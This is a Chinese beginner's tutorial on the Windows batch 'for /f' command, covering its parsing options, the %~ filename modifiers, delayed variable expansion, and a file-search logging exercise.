画龙点睛： 无论in后的集是哪种形式，for/f 都最终分解为字符串 ，按需要是否“忽略几行 ” （skip=）、“用什么刀来切分 ” （delims= ）、“最多只需取哪几段 ”（tokens=）将集里形成的字符串,逐行地分段赋给 %或%%后的变量及可能顺延扩展出的变量，以执行 do 后的命令，每一行即为一轮循环 。这里没完整说明全部参数，请在命令行用for/?查看。(下面的斜体字是复制的帮助里的内容)
例如：
对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。—— 换句话说,带有usebackq （放在 for /f 之后的引号里）参数时 in ()里用双引号表示的仍是文件名。
还有一个选项eol= ：前面所说skip=是表示忽略开始的几行，其实默认状况还忽略所有分号“ ; ” 开始的行，如果你想不忽略分号开始的行，或者想忽略自己指定一字符开始的行就可以在for /f 之后那引号参数里使用eol=你自己定义的字符，但它不像delims=的那样可定义多个，只允许定义一个。

另一花样：可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分，请看for/?中的解释（其中示例的变量为%I）：
另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量名
未被定义，或者没有找到文件，此组合键会扩充到空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

简记：凡是 %~ 打头的操作符，都是文件名或环境变量的分离操作。而每项要想运用自如，则需要付出辛勤的练习。

练习： （我偷点懒，自己不作了...)
遍历C、D盘，查找已知文件名(接收键盘输入)，把其存放位置、时间，记录到D:/mynote.txt 记录格式如：

xx年xx月xx日经查找在C盘、D盘的xx文件情况如下：
时间位置
。。。。。。。。。。。
。。。。。。。。。。。
。。。。。。。。。。。
。
。
。

提示：可能用到的DOS命令、变量、参数： echo、set 、set/p 、%date%、%~ >、>>

总结及提示：
for 命令的实际用法基本上已终结，但是仅此是不能写出强大功能的批处理的，它只是一条DOS命令，需要熟练一些其他的DOS命令和Windows系统提供的命令，组合运用，才能充分发挥其强大、实用的功能，使得一些复杂事情，处理起来意想不到的简洁方便。

附：常见在批处理for命令中需要的一个的命令或者叫环境设置:
for命令实际上是会作循环，如果在每轮的命令中改变某环境变量值，在默认状态，一条for命令用%环境变量%只取一次值的,那么下轮循环中再用时还是改变前的值（包括do后面带有括号里的多条命令的执行期间），就没达到预期目的，为此，引入下面命令：
setlocal enabledelayedexpansion
开始批处理文件中环境改动的本地化操作,并启动延缓环境变量扩展。在执行SETLOCAL 达到批处理文件结尾时，对于该批处理文件的每个尚未执行的 setlocal 命令，都会有一个隐含的 endlocal 被执行。
在取变量值时，用!变量名!可以动态取值，延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行时间扩充环境变量。这个用法实际是属于在批处理中所有复合型命令都需要注意的。如果批处理结束后不希望将改变的环境保留，建议总是加上setlocal 。
要是结合一些其他复杂些的有关系统的、网络的命令（如wmic、net）进来，那才是方显FOR英雄本色，比如遍历本地磁盘 可以用命令：wmic logicaldisk where "drivetype=3" get name 显然要在所有磁盘里查找某文件并作相应操作就很容易了，用好for命令也是需要其他命令和计算机基础配合的。呵呵，本人水平有限，写的只是低级层次的...但愿能对有缘来这里看的初学DOS的FOR命令者有所帮助。